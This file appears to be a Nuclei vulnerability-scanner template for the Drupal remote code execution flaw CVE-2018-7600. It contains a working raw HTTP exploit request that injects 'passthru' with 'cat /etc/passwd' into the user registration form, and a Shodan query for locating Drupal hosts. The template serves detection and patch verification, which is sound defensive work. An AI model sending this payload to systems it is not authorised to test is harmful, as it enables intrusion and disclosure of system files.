id: CVE-2018-7600

info:
  name: Drupal - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
    - https://www.drupal.org/sa-core-2018-002
    - https://groups.drupal.org/security/faq-2018-002
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7600
    cwe-id: CWE-20
  metadata:
    max-request: 1
    shodan-query: http.component:"drupal"
  tags: cve,cve2018,drupal,rce,kev,cisa,vulhub

http:
  - raw:
      - |
        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host:  {{Hostname}}
        Accept: application/json
        Referer:  {{Hostname}}/user/register
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663

        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#post_render][]"

        passthru
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#type]"

        markup
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#markup]"

        cat /etc/passwd
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="form_id"

        user_register_form
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="_drupal_ajax"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200